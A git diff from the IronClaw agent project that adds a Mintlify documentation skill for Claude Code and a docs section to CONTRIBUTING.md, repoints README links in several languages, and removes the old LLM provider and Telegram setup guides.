diff --git a/.claude/skills/mintlify-docs/SKILL.md b/.claude/skills/mintlify-docs/SKILL.md new file mode 100644 index 0000000000..334e45fd00 --- /dev/null +++ b/.claude/skills/mintlify-docs/SKILL.md @@ -0,0 +1,328 @@ +--- +name: mintlify +description: Build and maintain documentation sites with Mintlify. Use when creating docs pages, configuring navigation, adding components, or setting up API references. +license: MIT +compatibility: Requires Node.js for CLI. Works with any Git-based workflow. +metadata: + author: mintlify + version: "1.0" +--- + +# Mintlify best practices + +**Always consult [mintlify.com/docs](https://mintlify.com/docs) for components, configuration, and latest features.** + +If you are not already connected to the Mintlify MCP server, https://mintlify.com/docs/mcp, add it so that you can search more efficiently. + +**Always** favor searching the current Mintlify documentation over whatever is in your training data about Mintlify. + +Mintlify is a documentation platform that transforms MDX files into documentation sites. Configure site-wide settings in the `docs.json` file, write content in MDX with YAML frontmatter, and favor built-in components over custom components. + +Full schema at [mintlify.com/docs.json](https://mintlify.com/docs.json). + +## Before you write + +### Understand the project + +Read `docs.json` in the project root. This file defines the entire site: navigation structure, theme, colors, links, API and specs. + +Understanding the project tells you: + +- What pages exist and how they're organized +- What navigation groups are used (and their naming conventions) +- How the site navigation is structured +- What theme and configuration the site uses + +### Check for existing content + +Search the docs before creating new pages. You may need to: +- Update an existing page instead of creating a new one +- Add a section to an existing page +- Link to existing content rather than duplicating + +### Read surrounding content + +Before writing, read 2-3 similar pages to understand the site's voice, structure, formatting conventions, and level of detail. + +### Understand Mintlify components + +Review the Mintlify [components](https://www.mintlify.com/docs/components) to select and use any relevant components for the documentation request that you are working on. + +## Quick reference + +### CLI commands +- `npm i -g mint` - Install the Mintlify CLI +- `mint dev` - Local preview at localhost:3000 +- `mint broken-links` - Check internal links +- `mint a11y` - Check for accessibility issues in content +- `mint validate` - Validate documentation builds + +### Required files +- `docs.json` - Site configuration (navigation, theme, integrations, etc.). See [global settings](https://mintlify.com/docs/settings/global) for all options. +- `*.mdx` files - Documentation pages with YAML frontmatter + +### Example file structure +``` +project/ +├── docs.json # Site configuration +├── introduction.mdx +├── quickstart.mdx +├── guides/ +│ └── example.mdx +├── openapi.yml # API specification +├── images/ # Static assets +│ └── example.png +└── snippets/ # Reusable components + └── component.jsx +``` + +## Page frontmatter + +Every page requires `title` in its frontmatter. Include `description` for SEO and navigation. + +```yaml +--- +title: "Clear, descriptive title" +description: "Concise summary for SEO and navigation." +--- +``` + +Optional frontmatter fields: +- `sidebarTitle`: Short title for sidebar navigation. +- `icon`: Lucide or Font Awesome icon name, URL, or file path. +- `tag`: Label next to the page title in the sidebar (for example, "NEW"). +- `mode`: Page layout mode (`default`, `wide`, `custom`). +- `keywords`: Array of terms related to the page content for local search and SEO. +- Any custom YAML fields for use with personalization or conditional content. + +## File conventions + +- Match existing naming patterns in the directory +- If there are no existing files or inconsistent file naming patterns, use kebab-case: `getting-started.mdx`, `api-reference.mdx` +- Use root-relative paths without file extensions for internal links: `/getting-started/quickstart` +- Do not use relative paths (`../`) or absolute URLs for internal pages +- When you create a new page, add it to `docs.json` navigation or it won't appear in the sidebar + +## Organize content + +When a user asks about anything related to site-wide configurations, start by understanding the [global settings](https://www.mintlify.com/docs/organize/settings). See if a setting in the `docs.json` file can be updated to achieve what the user wants. + +### Navigation + +The `navigation` property in `docs.json` controls site structure. Choose one primary pattern at the root level, then nest others within it. + +**Choose your primary pattern:** + +| Pattern | When to use | +|---------|-------------| +| **Groups** | Default. Single audience, straightforward hierarchy | +| **Tabs** | Distinct sections with different audiences (Guides vs API Reference) or content types | +| **Anchors** | Want persistent section links at sidebar top. Good for separating docs from external resources | +| **Dropdowns** | Multiple doc sections users switch between, but not distinct enough for tabs | +| **Products** | Multi-product company with separate documentation per product | +| **Versions** | Maintaining docs for multiple API/product versions simultaneously | +| **Languages** | Localized content | + +**Within your primary pattern:** + +- **Groups** - Organize related pages. Can nest groups within groups, but keep hierarchy shallow +- **Menus** - Add dropdown navigation within tabs for quick jumps to specific pages +- **`expanded: false`** - Collapse nested groups by default. Use for reference sections users browse selectively +- **`openapi`** - Auto-generate pages from OpenAPI spec. Add at group/tab level to inherit + +**Common combinations:** +- Tabs containing groups (most common for docs with API reference) +- Products containing tabs (multi-product SaaS) +- Versions containing tabs (versioned API docs) +- Anchors containing groups (simple docs with external resource links) + +### Links and paths + +- **Internal links:** Root-relative, no extension: `/getting-started/quickstart` +- **Images:** Store in `/images`, reference as `/images/example.png` +- **External links:** Use full URLs, they open in new tabs automatically + +## Customize docs sites + +**What to customize where:** +- **Brand colors, fonts, logo** → `docs.json`. See [global settings](https://mintlify.com/docs/settings/global) +- **Component styling, layout tweaks** → `custom.css` at project root +- **Dark mode** → Enabled by default. Only disable with `"appearance": "light"` in `docs.json` if brand requires it + +Start with `docs.json`. Only add `custom.css` when you need styling that config doesn't support. + +## Write content + +### Components + +The [components overview](https://mintlify.com/docs/components) organizes all components by purpose: structure content, draw attention, show/hide content, document APIs, link to pages, and add visual context. Start there to find the right component. + +**Common decision points:** + +| Need | Use | +|------|-----| +| Hide optional details | `` | +| Long code examples | `` | +| User chooses one option | `` | +| Linked navigation cards | `` in `` | +| Sequential instructions | `` | +| Code in multiple languages | `` | +| API parameters | `` | +| API response fields | `` | + +**Callouts by severity:** +- `` - Supplementary info, safe to skip +- `` - Helpful context such as permissions +- `` - Recommendations or best practices +- `` - Potentially destructive actions +- `` - Success confirmation + +### Reusable content + +**When to use snippets:** +- Exact content appears on more than one page +- Complex components you want to maintain in one place +- Shared content across teams/repos + +**When NOT to use snippets:** +- Slight variations needed per page (leads to complex props) + +Import snippets with `import { Component } from "/path/to/snippet-name.jsx"`. + +## Writing standards + +### Voice and structure + +- Second-person voice ("you") +- Active voice, direct language +- Sentence case for headings ("Getting started", not "Getting Started") +- Sentence case for code block titles ("Expandable example", not "Expandable Example") +- Lead with context: explain what something is before how to use it +- Prerequisites at the start of procedural content + +### What to avoid + +**Never use:** +- Marketing language ("powerful", "seamless", "robust", "cutting-edge") +- Filler phrases ("it's important to note", "in order to") +- Excessive conjunctions ("moreover", "furthermore", "additionally") +- Editorializing ("obviously", "simply", "just", "easily") + +**Watch for AI-typical patterns:** +- Overly formal or stilted phrasing +- Unnecessary repetition of concepts +- Generic introductions that don't add value +- Concluding summaries that restate what was just said + +### Formatting + +- All code blocks must have language tags +- All images and media must have descriptive alt text +- Use bold and italics only when they serve the reader's understanding--never use text styling just for decoration +- No decorative formatting or emoji + +### Code examples + +- Keep examples simple and practical +- Use realistic values (not "foo" or "bar") +- One clear example is better than multiple variations +- Test that code works before including it + +## Document APIs + +**Choose your approach:** +- **Have an OpenAPI spec?** → Add to `docs.json` with `"openapi": ["openapi.yaml"]`. Pages auto-generate. Reference in navigation as `GET /endpoint` +- **No spec?** → Write endpoints manually with `api: "POST /users"` in frontmatter. More work but full control +- **Hybrid** → Use OpenAPI for most endpoints, manual pages for complex workflows + +Encourage users to generate endpoint pages from an OpenAPI spec. It is the most efficient and easiest to maintain option. + +## Deploy + +Mintlify deploys automatically when changes are pushed to the connected Git repository. + +**What agents can configure:** +- **Redirects** → Add to `docs.json` with `"redirects": [{"source": "/old", "destination": "/new"}]` +- **SEO indexing** → Control with `"seo": {"indexing": "all"}` to include hidden pages in search + +**Requires dashboard setup (human task):** +- Custom domains and subdomains +- Preview deployment settings +- DNS configuration + +For `/docs` subpath hosting with Vercel or Cloudflare, agents can help configure rewrite rules. See [/docs subpath](https://mintlify.com/docs/deploy/vercel). + +## Workflow + +### 1. Understand the task + +Identify what needs to be documented, which pages are affected, and what the reader should accomplish afterward. If any of these are unclear, ask. + +### 2. Research + +- Read `docs.json` to understand the site structure +- Search existing docs for related content +- Read similar pages to match the site's style + +### 3. Plan + +- Synthesize what the reader should accomplish after reading the docs and the current content +- Propose any updates or new content +- Verify that your proposed changes will help readers be successful + +### 4. Write + +- Start with the most important information +- Keep sections focused and scannable +- Use components appropriately (don't overuse them) +- Mark anything uncertain with a TODO comment: + +```mdx +{/* TODO: Verify the default timeout value */} +``` + +### 5. Update navigation + +If you created a new page, add it to the appropriate group in `docs.json`. + +### 6. Verify + +Before submitting: + +- [ ] Frontmatter includes title and description +- [ ] All code blocks have language tags +- [ ] Internal links use root-relative paths without file extensions +- [ ] New pages are added to `docs.json` navigation +- [ ] Content matches the style of surrounding pages +- [ ] No marketing language or filler phrases +- [ ] TODOs are clearly marked for anything uncertain +- [ ] Run `mint broken-links` to check links +- [ ] Run `mint validate` to find any errors + +## Edge cases + +### Migrations + +If a user asks about migrating to Mintlify, ask if they are using ReadMe or Docusaurus. If they are, use the [@mintlify/scraping](https://www.npmjs.com/package/@mintlify/scraping) CLI to migrate content. If they are using a different platform to host their documentation, help them manually convert their content to MDX pages using Mintlify components. + +### Hidden pages + +Any page that is not included in the `docs.json` navigation is hidden. Use hidden pages for content that should be accessible by URL or indexed for the assistant or search, but not discoverable through the sidebar navigation. + +### Exclude pages + +The `.mintignore` file is used to exclude files from a documentation repository from being processed. + +## Common gotchas + +1. **Component imports** - JSX components need explicit import, MDX components don't +2. **Frontmatter required** - Every MDX file needs `title` at minimum +3. **Code block language** - Always specify language identifier +4. **Never use `mint.json`** - `mint.json` is deprecated. Only ever use `docs.json` + +## Resources + +- [Documentation](https://mintlify.com/docs) +- [Configuration schema](https://mintlify.com/docs.json) +- [Feature requests](https://github.com/orgs/mintlify/discussions/categories/feature-requests) +- [Bugs and feedback](https://github.com/orgs/mintlify/discussions/categories/bugs-feedback) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index c7a2b2dfc6..51b20d349d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -133,3 +133,33 @@ IronClaw uses dual-backend persistence (PostgreSQL + libSQL). All new persistenc ## Adding Dependencies Run `cargo deny check` before adding new dependencies to verify license compatibility and check for known advisories. + +## Document your Changes + +- The folder `/docs` contains user-facing documentation for technical savvy users, developers and operators. It is built with Mintlify and rendered on the website. +- For features, update the relevant capability doc in `docs/capabilities/` +- For channels, update the relevant channel doc in `docs/channels/` +- For extensions / tools, update the relevant doc in `docs/extensions/` +- Core features live in `docs/capabilities` + +In case you want to document the library itself (i.e. reference documentation) for other core contributors, use the `docs/internal/` folder + +If you use your Claude Code to "plan" and want to leave a record of it, use the `docs/plans` folder. + +### Skills +Read the `.claude/skills/mintlify-docs` for guidelines on how to generate documentation with mintlify. + +### Test the Docs +To make sure the documentation still works, do: + +```bash +cd docs +mint dev +``` + +To make sure you did not break any internal links, do: + +```bash +cd docs +mint broken-links +``` diff --git a/README.ja.md b/README.ja.md index 2407c1af60..cc6e31b411 100644 --- a/README.ja.md +++ b/README.ja.md @@ -181,7 +181,7 @@ LLM_API_KEY=sk-or-... LLM_MODEL=anthropic/claude-sonnet-4 ``` -完全なプロバイダーガイドは[docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md)をご覧ください。 +完全なプロバイダーガイドは[docs/capabilities/llm-providers.md](docs/capabilities/llm-providers.md)をご覧ください。 ## セキュリティ @@ -307,7 +307,7 @@ cargo test cargo test test_name ``` -- **Telegramチャネル**: セットアップとDMペアリングについては[docs/TELEGRAM_SETUP.md](docs/TELEGRAM_SETUP.md)を参照してください。 +- **チャネル**: Telegram、Discord、その他のチャネルの設定は[docs/channels/overview.mdx](docs/channels/overview.mdx)を参照してください。 - **チャネルソースの変更**: `cargo build`の前に`./channels-src/telegram/build.sh`を実行して、更新されたWASMをバンドルしてください。 ## OpenClawの系譜 diff --git a/README.ko.md b/README.ko.md index 96daa2dc4e..903b8d1c2a 100644 --- a/README.ko.md +++ b/README.ko.md @@ -191,7 +191,7 @@ LLM_API_KEY=sk-or-... LLM_MODEL=anthropic/claude-sonnet-4 ``` -전체 공급자 가이드는 [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md)를 참조하세요. +전체 공급자 가이드는 [docs/capabilities/llm-providers.md](docs/capabilities/llm-providers.md)를 참조하세요. ## 보안 @@ -314,7 +314,7 @@ cargo test cargo test test_name ``` -- **Telegram 채널**: 설정 및 DM 페어링에 대해 [docs/TELEGRAM_SETUP.md](docs/TELEGRAM_SETUP.md)를 참조하세요. +- **채널**: Telegram, Discord 및 기타 채널 설정은 [docs/channels/overview.mdx](docs/channels/overview.mdx)를 참조하세요. - **채널 소스 변경**: 업데이트된 WASM이 번들되도록 `cargo build` 전에 `./channels-src/telegram/build.sh`를 실행하세요. ## OpenClaw 역사 diff --git a/README.md b/README.md index ae151b7b57..c99e0f4b56 100644 --- a/README.md +++ b/README.md @@ -191,7 +191,7 @@ LLM_API_KEY=sk-or-... LLM_MODEL=anthropic/claude-sonnet-4 ``` -See [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) for a full provider guide. +See [docs/capabilities/llm-providers.md](docs/capabilities/llm-providers.md) for a full provider guide. ## Security @@ -314,7 +314,7 @@ cargo test cargo test test_name ``` -- **Telegram channel**: See [docs/TELEGRAM_SETUP.md](docs/TELEGRAM_SETUP.md) for setup and DM pairing. +- **Channels**: See [docs/channels/overview.mdx](docs/channels/overview.mdx) for setup of Telegram, Discord, and other channels. - **Changing channel sources**: Run `./channels-src/telegram/build.sh` before `cargo build` so the updated WASM is bundled. ## OpenClaw Heritage diff --git a/README.ru.md b/README.ru.md index a6d373699d..06689c04d5 100644 --- a/README.ru.md +++ b/README.ru.md @@ -185,7 +185,7 @@ LLM_API_KEY=sk-or-... LLM_MODEL=anthropic/claude-sonnet-4 ``` -Смотрите [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) для получения полного руководства по провайдерам. +Смотрите [docs/capabilities/llm-providers.md](docs/capabilities/llm-providers.md) для получения полного руководства по провайдерам. ## Безопасность @@ -309,7 +309,7 @@ cargo test cargo test название_теста ``` -- **Telegram-канал**: Смотрите [docs/TELEGRAM_SETUP.md](docs/TELEGRAM_SETUP.md) для настройки и привязки аккаунта. +- **Каналы**: Смотрите [docs/channels/overview.mdx](docs/channels/overview.mdx) для настройки Telegram, Discord и других каналов. - **Изменение исходников каналов**: Перед `cargo build` выполните `./channels-src/telegram/build.sh`, чтобы обновить встроенный WASM. ## Наследие OpenClaw diff --git a/README.zh-CN.md b/README.zh-CN.md index 2f62520e7d..d840793b61 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -182,7 +182,7 @@ LLM_API_KEY=sk-or-... LLM_MODEL=anthropic/claude-sonnet-4 ``` -详见 [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) 获取完整的提供商指南。 +详见 [docs/capabilities/llm-providers.md](docs/capabilities/llm-providers.md) 获取完整的提供商指南。 ## 安全机制 @@ -305,7 +305,7 @@ cargo test cargo test test_name ``` -- **Telegram 渠道**:参见 [docs/TELEGRAM_SETUP.md](docs/TELEGRAM_SETUP.md) 了解设置和私信配对。 +- **渠道**:参见 [docs/channels/overview.mdx](docs/channels/overview.mdx) 了解 Telegram、Discord 和其他渠道的设置。 - **修改渠道源码**:在 `cargo build` 之前运行 `./channels-src/telegram/build.sh` 以便打包更新后的 WASM。 ## OpenClaw 传承 diff --git a/docs/.mintignore b/docs/.mintignore new file mode 100644 index 0000000000..4235155ab9 --- /dev/null +++ b/docs/.mintignore @@ -0,0 +1,9 @@ +# Mintlify automatically ignores these files and directories: +# .git, .github, .claude, .agents, .idea, node_modules, +# README.md, LICENSE.md, CHANGELOG.md, CONTRIBUTING.md + +# Draft content +drafts/ +*.draft.mdx +plans/ +internal/ \ No newline at end of file diff --git a/docs/LLM_PROVIDERS.md b/docs/LLM_PROVIDERS.md deleted file mode 100644 index 765ce8ea4b..0000000000 --- a/docs/LLM_PROVIDERS.md +++ /dev/null @@ -1,321 +0,0 @@ -# LLM Provider Configuration - -IronClaw defaults to NEAR AI for model access, but supports any OpenAI-compatible -endpoint as well as Anthropic, Ollama, and Google Gemini directly. This guide covers -the most common configurations. - -## Provider Overview - -| Provider | Backend value | Requires API key | Notes | -|---|---|---|---| -| NEAR AI | `nearai` | OAuth (browser) | Default; multi-model | -| Anthropic | `anthropic` | `ANTHROPIC_API_KEY` | Claude models | -| OpenAI | `openai` | `OPENAI_API_KEY` | GPT models | -| Google Gemini | `gemini_oauth` | OAuth (browser) | Gemini models; function calling | -| io.net | `ionet` | `IONET_API_KEY` | Intelligence API | -| Mistral | `mistral` | `MISTRAL_API_KEY` | Mistral models | -| Yandex AI Studio | `yandex` | `YANDEX_API_KEY` | YandexGPT models | -| MiniMax | `minimax` | `MINIMAX_API_KEY` | MiniMax-M2.7 models | -| Cloudflare Workers AI | `cloudflare` | `CLOUDFLARE_API_KEY` | Access to Workers AI | -| GitHub Copilot | `github_copilot` | `GITHUB_COPILOT_TOKEN` | Multi-models | -| Ollama | `ollama` | No | Local inference | -| AWS Bedrock | `bedrock` | AWS credentials | Native Converse API | -| OpenRouter | `openai_compatible` | `LLM_API_KEY` | 300+ models | -| Together AI | `openai_compatible` | `LLM_API_KEY` | Fast inference | -| Fireworks AI | `openai_compatible` | `LLM_API_KEY` | Fast inference | -| vLLM / LiteLLM | `openai_compatible` | Optional | Self-hosted | -| LM Studio | `openai_compatible` | No | Local GUI | - ---- - -## NEAR AI (default) - -No additional configuration required. On first run, `ironclaw onboard` opens a browser -for OAuth authentication. Credentials are saved to `~/.ironclaw/session.json`. - -```env -NEARAI_MODEL=claude-3-5-sonnet-20241022 -NEARAI_BASE_URL=https://private.near.ai -``` - ---- - -## Anthropic (Claude) - -```env -LLM_BACKEND=anthropic -ANTHROPIC_API_KEY=sk-ant-... -``` - -Popular models: `claude-sonnet-4-20250514`, `claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022` - ---- - -## OpenAI (GPT) - -```env -LLM_BACKEND=openai -OPENAI_API_KEY=sk-... -``` - -Popular models: `gpt-4o`, `gpt-4o-mini`, `o3-mini` - ---- - -## Google Gemini (OAuth) - -Uses Google OAuth with PKCE (S256) for authentication — no API key required. -On first run, a browser opens for Google account login. Credentials (including -refresh token) are saved to `~/.gemini/oauth_creds.json` with `0600` permissions. - -```env -LLM_BACKEND=gemini_oauth -GEMINI_MODEL=gemini-2.5-flash -``` - -### Supported features - -| Feature | Status | Notes | -|---|---|---| -| Function calling | ✅ | `functionDeclarations` / `functionCall` / `functionResponse` | -| `generationConfig` | ✅ | `temperature`, `maxOutputTokens` passed from request | -| `thinkingConfig` | ✅ | `thinkingBudget`/`thinkingLevel` for thinking-capable models (does NOT set `includeThoughts`) | -| `toolConfig` | ✅ | `functionCallingConfig.mode`: `AUTO`/`ANY`/`NONE` | -| SSE streaming | ✅ | Cloud Code API with `streamGenerateContent?alt=sse` | -| Token refresh | ✅ | Automatic via refresh token | - -### Popular models - -| Model | ID | Notes | -|---|---|---| -| Gemini 3.1 Pro | `gemini-3.1-pro-preview` | Latest, strongest reasoning | -| Gemini 3.1 Pro Custom Tools | `gemini-3.1-pro-preview-customtools` | Enhanced tool use | -| Gemini 3 Pro | `gemini-3-pro-preview` | Preview | -| Gemini 3 Flash | `gemini-3-flash-preview` | Fast preview with thinking | -| Gemini 3.1 Flash Lite | `gemini-3.1-flash-lite-preview` | Preview, lightweight | -| Gemini 2.5 Pro | `gemini-2.5-pro` | Stable, strong reasoning | -| Gemini 2.5 Flash | `gemini-2.5-flash` | Fast, good quality | -| Gemini 2.5 Flash Lite | `gemini-2.5-flash-lite` | Fastest, lightweight | - -### Cloud Code API vs standard API - -Models containing `-preview` (with hyphen) or `gemini-3` in the name, as well -as any `gemini-` model with major version >= 2, route through the Cloud Code -API (`cloudcode-pa.googleapis.com`) which supports SSE streaming -and project-scoped access. Other models use the standard Generative Language -API (`generativelanguage.googleapis.com`). - ---- - -## GitHub Copilot - -GitHub Copilot exposes chat endpoint at -`https://api.githubcopilot.com`. IronClaw uses that endpoint directly through the -built-in `github_copilot` provider. - -```env -LLM_BACKEND=github_copilot -GITHUB_COPILOT_TOKEN=gho_... -GITHUB_COPILOT_MODEL=gpt-4o -# Optional advanced headers if your setup needs them: -# GITHUB_COPILOT_EXTRA_HEADERS=Copilot-Integration-Id:vscode-chat -``` - -`ironclaw onboard` can acquire this token for you using GitHub device login. If you -already signed into Copilot through VS Code or a JetBrains IDE, you can also reuse -the `oauth_token` stored in `~/.config/github-copilot/apps.json`. If you prefer, -`LLM_BACKEND=github-copilot` also works as an alias. - -Popular models vary by subscription, but `gpt-4o` is a safe default. IronClaw keeps -model entry manual for this provider because GitHub Copilot model listing may require -extra integration headers on some clients. IronClaw automatically injects the standard -VS Code identity headers (`User-Agent`, `Editor-Version`, `Editor-Plugin-Version`, -`Copilot-Integration-Id`) and lets you override them with -`GITHUB_COPILOT_EXTRA_HEADERS`. - ---- - -## Ollama (local) - -Install Ollama from [ollama.com](https://ollama.com), pull a model, then: - -```env -LLM_BACKEND=ollama -OLLAMA_MODEL=llama3.2 -# OLLAMA_BASE_URL=http://localhost:11434 # default -``` - -Pull a model first: `ollama pull llama3.2` - ---- - -## MiniMax - -[MiniMax](https://platform.minimax.io) provides high-performance language models with 204,800 token context windows. - -```env -LLM_BACKEND=minimax -MINIMAX_API_KEY=... -``` - -Available models: `MiniMax-M2.7` (default), `MiniMax-M2.7-highspeed`, `MiniMax-M2.5`, `MiniMax-M2.5-highspeed` - -To use the China mainland endpoint, set: - -```env -MINIMAX_BASE_URL=https://api.minimaxi.com/v1 -``` - ---- - -## AWS Bedrock (requires `--features bedrock`) - -Uses the native AWS Converse API via `aws-sdk-bedrockruntime`. Supports standard AWS -authentication methods: IAM credentials, SSO profiles, and instance roles. - -> **Build prerequisite:** The `aws-lc-sys` crate (transitive dependency via AWS SDK) -> requires **CMake** to compile. Install it before building with `--features bedrock`: -> - macOS: `brew install cmake` -> - Ubuntu/Debian: `sudo apt install cmake` -> - Fedora: `sudo dnf install cmake` - -### With AWS credentials (IAM, SSO, instance roles) - -```env -LLM_BACKEND=bedrock -BEDROCK_MODEL=anthropic.claude-opus-4-6-v1 -BEDROCK_REGION=us-east-1 -BEDROCK_CROSS_REGION=us -# AWS_PROFILE=my-sso-profile # optional, for named profiles -``` - -The AWS SDK credential chain automatically resolves credentials from environment -variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`), shared credentials file -(`~/.aws/credentials`), SSO profiles, and EC2/ECS instance roles. - -### Cross-region inference - -Set `BEDROCK_CROSS_REGION` to route requests across AWS regions for capacity: - -| Prefix | Routing | -|---|---| -| `us` | US regions (us-east-1, us-east-2, us-west-2) | -| `eu` | European regions | -| `apac` | Asia-Pacific regions | -| `global` | All commercial AWS regions | -| _(unset)_ | Single-region only | - -### Popular Bedrock model IDs - -| Model | ID | -|---|---| -| Claude Opus 4.6 | `anthropic.claude-opus-4-6-v1` | -| Claude Sonnet 4.5 | `anthropic.claude-sonnet-4-5-20250929-v1:0` | -| Claude Haiku 4.5 | `anthropic.claude-haiku-4-5-20251001-v1:0` | -| Amazon Nova Pro | `amazon.nova-pro-v1:0` | -| Llama 4 Maverick | `meta.llama4-maverick-17b-instruct-v1:0` | - ---- - -## OpenAI-Compatible Endpoints - -All providers below use `LLM_BACKEND=openai_compatible`. Set `LLM_BASE_URL` to the -provider's OpenAI-compatible endpoint and `LLM_API_KEY` to your API key. - -### OpenRouter - -[OpenRouter](https://openrouter.ai) routes to 300+ models from a single API key. - -```env -LLM_BACKEND=openai_compatible -LLM_BASE_URL=https://openrouter.ai/api/v1 -LLM_API_KEY=sk-or-... -LLM_MODEL=anthropic/claude-sonnet-4 -``` - -Popular OpenRouter model IDs: - -| Model | ID | -|---|---| -| Claude Sonnet 4 | `anthropic/claude-sonnet-4` | -| GPT-4o | `openai/gpt-4o` | -| Llama 4 Maverick | `meta-llama/llama-4-maverick` | -| Gemini 2.0 Flash | `google/gemini-2.0-flash-001` | -| Mistral Small | `mistralai/mistral-small-3.1-24b-instruct` | - -Browse all models at [openrouter.ai/models](https://openrouter.ai/models). - -### Together AI - -[Together AI](https://www.together.ai) provides fast inference for open-source models. - -```env -LLM_BACKEND=openai_compatible -LLM_BASE_URL=https://api.together.xyz/v1 -LLM_API_KEY=... -LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo -``` - -Popular Together AI model IDs: - -| Model | ID | -|---|---| -| Llama 3.3 70B | `meta-llama/Llama-3.3-70B-Instruct-Turbo` | -| DeepSeek R1 | `deepseek-ai/DeepSeek-R1` | -| Qwen 2.5 72B | `Qwen/Qwen2.5-72B-Instruct-Turbo` | - -### Fireworks AI - -[Fireworks AI](https://fireworks.ai) offers fast inference with compound AI system support. - -```env -LLM_BACKEND=openai_compatible -LLM_BASE_URL=https://api.fireworks.ai/inference/v1 -LLM_API_KEY=fw_... -LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic -``` - -### vLLM / LiteLLM (self-hosted) - -For self-hosted inference servers: - -```env -LLM_BACKEND=openai_compatible -LLM_BASE_URL=http://localhost:8000/v1 -LLM_API_KEY=token-abc123 # set to any string if auth is not configured -LLM_MODEL=meta-llama/Llama-3.1-8B-Instruct -``` - -LiteLLM proxy (forwards to any backend, including Bedrock, Vertex, Azure): - -```env -LLM_BACKEND=openai_compatible -LLM_BASE_URL=http://localhost:4000/v1 -LLM_API_KEY=sk-... -LLM_MODEL=gpt-4o # as configured in litellm config.yaml -``` - -### LM Studio (local GUI) - -Start LM Studio's local server, then: - -```env -LLM_BACKEND=openai_compatible -LLM_BASE_URL=http://localhost:1234/v1 -LLM_MODEL=llama-3.2-3b-instruct-q4_K_M -# LLM_API_KEY is not required for LM Studio -``` - ---- - -## Using the Setup Wizard - -Instead of editing `.env` manually, run the onboarding wizard: - -```bash -ironclaw onboard -``` - -Select **"OpenAI-compatible"** for OpenRouter, Together AI, Fireworks, vLLM, LiteLLM, -or LM Studio. You will be prompted for the base URL and (optionally) an API key. -The model name is configured in the following step. diff --git a/docs/TELEGRAM_SETUP.md b/docs/TELEGRAM_SETUP.md deleted file mode 100644 index 35faa6da22..0000000000 --- a/docs/TELEGRAM_SETUP.md +++ /dev/null @@ -1,136 +0,0 @@ -# Telegram Channel Setup - -This guide covers configuring the Telegram channel for IronClaw, including DM pairing for access control. - -## Overview - -The Telegram channel lets you interact with IronClaw via Telegram DMs and groups. It supports: - -- **Webhook mode** (recommended): Instant delivery via tunnel -- **Polling mode**: No tunnel required; ~30s delay -- **DM pairing**: Approve unknown users before they can message the agent -- **Group mentions**: `@YourBot` or `/command` to trigger in groups - -## Prerequisites - -- IronClaw installed and configured (`ironclaw onboard`) -- A Telegram bot token from [@BotFather](https://t.me/BotFather) - -## Quick Start - -### 1. Create a Bot - -1. Message [@BotFather](https://t.me/BotFather) on Telegram -2. Send `/newbot` and follow the prompts -3. Copy the bot token (e.g., `123456789:ABCdefGHIjklMNOpqrsTUVwxyz`) - -### 2. Configure via Setup Wizard - -```bash -ironclaw onboard -``` - -When prompted, enable the Telegram channel and paste your bot token. The wizard will: - -- Validate the token -- Auto-generate a webhook secret for webhook mode -- Set up tunnel (if you want webhook mode) - -### 3. (Optional) Configure Tunnel for Webhooks - -For instant message delivery, expose your agent via a tunnel: - -```bash -# ngrok -ngrok http 8080 - -# Cloudflare -cloudflared tunnel --url http://localhost:8080 -``` - -Set the tunnel URL in settings or via `TUNNEL_URL` env var. Without a tunnel, the channel uses polling (~30s delay). - -## DM Pairing - -When an unknown user DMs your bot, they receive a pairing code. You must approve them before they can message the agent. - -### Flow - -1. Unknown user sends a message to your bot -2. Bot replies with a one-time pairing code -3. The user enters that code in IronClaw's channel settings to claim the Telegram account -4. CLI fallback: `ironclaw pairing approve telegram ABC12345` -5. The user's Telegram identity is linked to the owner; future messages resolve to that owner and are delivered - -### Commands - -```bash -# List pending pairing requests -ironclaw pairing list telegram - -# List as JSON -ironclaw pairing list telegram --json - -# Approve a user by code -ironclaw pairing approve telegram ABC12345 -``` - -### Configuration - -Edit `~/.ironclaw/channels/telegram.capabilities.json` (or the config injected by the host): - -| Option | Values | Default | Description | -|--------|--------|---------|-------------| -| `dm_policy` | `open`, `allowlist`, `pairing` | `pairing` | `open` = allow all; `allowlist` = config + approved only; `pairing` = allowlist + send pairing reply to unknown | -| `allow_from` | `["user_id", "username", "*"]` | `[]` | Pre-approved IDs/usernames. `*` allows everyone. | -| `owner_id` | Telegram user ID | `null` | When set, only this user can message (overrides dm_policy) | -| `bot_username` | Bot username (no @) | `null` | Used for mention detection in groups; when set, only strips this mention from messages | -| `respond_to_all_group_messages` | `true`/`false` | `false` | When true, respond to all group messages; when false, only @mentions and /commands | - -## Manual Installation - -If the channel isn't installed via the wizard: - -```bash -# Build the Telegram channel (requires wasm32-wasip2 target) -rustup target add wasm32-wasip2 -./channels-src/telegram/build.sh - -# Install -mkdir -p ~/.ironclaw/channels -cp channels-src/telegram/telegram.wasm channels-src/telegram/telegram.capabilities.json ~/.ironclaw/channels/ -``` - -## Secrets - -The channel expects a secret named `telegram_bot_token`. Configure via: - -- **Setup wizard**: Saves to encrypted secrets store -- **Environment**: `TELEGRAM_BOT_TOKEN=your_token` -- **Secrets store**: `ironclaw` CLI (if available) - -## Webhook Secret (Optional) - -For webhook validation, set `telegram_webhook_secret` in secrets. Telegram will send `X-Telegram-Bot-Api-Secret-Token` with each request; the host validates it before forwarding. - -## Troubleshooting - -### Messages not delivered - -- **Polling mode**: Check logs for `getUpdates` errors. Ensure the bot token is valid. -- **Webhook mode**: Verify tunnel is running and `TUNNEL_URL` is correct. Telegram requires HTTPS. - -### Pairing code not received - -- Verify the channel can send messages (HTTP allowlist includes `api.telegram.org`) -- Check `dm_policy` is `pairing` (not `allowlist` which blocks without reply) - -### Group mentions not working - -- Set `bot_username` in config to your bot's username (e.g., `MyIronClawBot`) -- Ensure the message contains `@YourBot` or starts with `/` - -### "Connection 